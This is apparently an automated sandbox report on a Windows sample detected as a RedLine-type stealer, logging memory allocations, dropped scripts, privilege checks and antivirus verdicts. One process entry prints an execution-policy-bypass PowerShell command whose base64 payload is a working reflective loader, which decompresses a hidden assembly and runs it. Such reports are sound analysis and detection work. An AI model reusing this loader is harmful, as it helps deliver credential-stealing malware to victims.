NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0282a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0283b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02837000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02822000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02835000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0282c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0283c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02823000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02824000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02825000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02826000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02827000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02828000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02829000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05330000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05331000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05332000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05333000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05334000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05335000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05336000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05337000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05338000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05339000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0533f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05340000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05341000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05342000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2024, 7:38 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05343000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\start.vbs
file	C:\Users\test22\temp.bat
file	C:\Users\test22\SNfdqB.ps1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\test22\SNfdqB.ps1"

cmdline

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('IyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQpmdW5jdGlvbiBEZWNvbXByZXNzQnl0ZXMoJGNvbXByZXNzZWREYXRhKSB7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGNvbXByZXNzZWREYXRhKSkpOyAkbXMuUG9zaXRpb24gPSAwOyAkZGVmbGF0ZVN0cmVhbSA9IFtJTy5Db21wcmVzc2lvbi5EZWZsYXRlU3RyZWFtXTo6bmV3KCRtcywgW0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV06OkRlY29tcHJlc3MpOyAkYnVmZmVyID0gW2J5dGVbXV06Om5ldyg0MDk2KTsgJG1zID0gW0lPLk1lbW9yeVN0cmVhbV06Om5ldygpOyB3aGlsZSAoJHRydWUpIHsgJGNvdW50ID0gJGRlZmxhdGVTdHJlYW0uUmVhZCgkYnVmZmVyLCAwLCAkYnVmZmVyLkxlbmd0aCk7IGlmICgkY291bnQgLWVxIDApIHsgYnJlYWsgfSAkbXMuV3JpdGUoJGJ1ZmZlciwgMCwgJGNvdW50KSB9ICRkZWZsYXRlU3RyZWFtLkNsb3NlKCk7ICRtcy5Ub0FycmF5KCkgfQ0KDQojICJUaGUgc3VyZXN0IHdheSB0byBjb3JydXB0IGEgeW91dGggaXMgdG8gaW5zdHJ1Y3QgaGltIHRvIGhvbGQgaW4gaGlnaGVyIGVzdGVlbSB0aG9zZSB3aG8gdGhpbmsgYWxpa2UgdGhhbiB0aG9zZSB3aG8gdGhpbmsgZGlmZmVyZW50bHkuIg0KIyAiSW4gaGVhdmVuLCBhbGwgdGhlIGludGVyZXN0aW5nIHBlb3BsZSBhcmUgbWlzc2luZy4iDQoNCg0KDQpmdW5jdGlvbiBSZXZlcnNlU3RyaW5nKCRpbnB1dFN0cmluZykgew0KICAgICRjaGFyQXJyYXkgPSAkaW5wdXRTdHJpbmcuVG9DaGFyQXJyYXkoKQ0KICAgICRyZXZlcnNlZEFycmF5ID0gJGNoYXJBcnJheVstMS4uLSgkY2hhckFycmF5Lkxlbmd0aCldDQogICAgJHJldmVyc2VkU3RyaW5nID0gLWpvaW4gJHJldmVyc2VkQXJyYXkNCiAgICByZXR1cm4gJHJldmVyc2VkU3RyaW5nDQp9DQojICJUaGVyZSBpcyBhbHdheXMgc29tZSBtYWRuZXNzIGluIGxvdmUuIEJ1dCB0aGVyZSBpcyBhbHNvIGFsd2F5cyBzb21lIHJlYXNvbiBpbiBtYWRuZXNzLiINCiMgIlRoYXQgd2hpY2ggZG9lcyBub3Qga2lsbCB1cyBtYWtlcyB1cyBzdHJvbmdlci4iDQoNCmZ1bmN0aW9uIENsb3NlLVByb2Nlc3Mgew0KICAgIHBhcmFtKA0KICAgICAgICBbc3RyaW5nXSRQcm9jZXNzTmFtZQ0KICAgICkNCg0KICAgICRwcm9jZXNzID0gR2V0LVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlDQoNCiAgICBpZiAoJHByb2Nlc3MgLW5lICRudWxsKSB7DQogICAgICAgIFN0b3AtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUZvcmNlDQoJfQ0KfQ0KIyAiSW4gaW5kaXZpZHVhbHMsIGluc2FuaXR5IGlzIHJhcmU7IGJ1dCBpbiBncm91cHMsIHBhcnRpZXMsIG5hdGlvbnMsIGFuZCBlcG9jaHMsIGl0IGlzIHRoZSBydWxlLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDTlYgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJTTmZkcUIuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCINCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5n')) | Out-File -FilePath 'C:\Users\test22\SNfdqB.ps1' -Encoding UTF8"

Drops a binary and executes it (1 event)

file	C:\Users\test22\temp.bat

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 3, 2024, 7:38 a.m.	show_type: 0 filepath_r: C:\Users\test22\temp.bat parameters: filepath: C:\Users\test22\temp.bat	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 3, 2024, 7:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 3, 2024, 7:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.RedLineStealer.4!c
Skyhigh	BehavesLike.Win32.Generic.gc
Cylance	unsafe
Elastic	malicious (high confidence)
APEX	Malicious
Kaspersky	UDS:Trojan-Spy.Win32.Stealer
Webroot	W32.Malware.Gen
Antiy-AVL	Trojan/BAT.Agent.gen
Kingsoft	Win32.Troj.Unknown.a
Microsoft	Program:Win32/Wacapew.C!ml
ZoneAlarm	UDS:Trojan-Spy.Win32.Stealer
AhnLab-V3	Malware/Win.Generic.C4960456
McAfee	Artemis!06C758C576DE
DeepInstinct	MALICIOUS

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\Users\test22\temp.bat"
parent_process	wscript.exe				martian_process	C:\Users\test22\temp.bat

Creates a suspicious Powershell process (1 event)

option

-executionpolicy bypass

value

Attempts to bypass execution policy

The processes wscript.exe, powershell.exe wrote an executable file to disk (21 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

build22.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All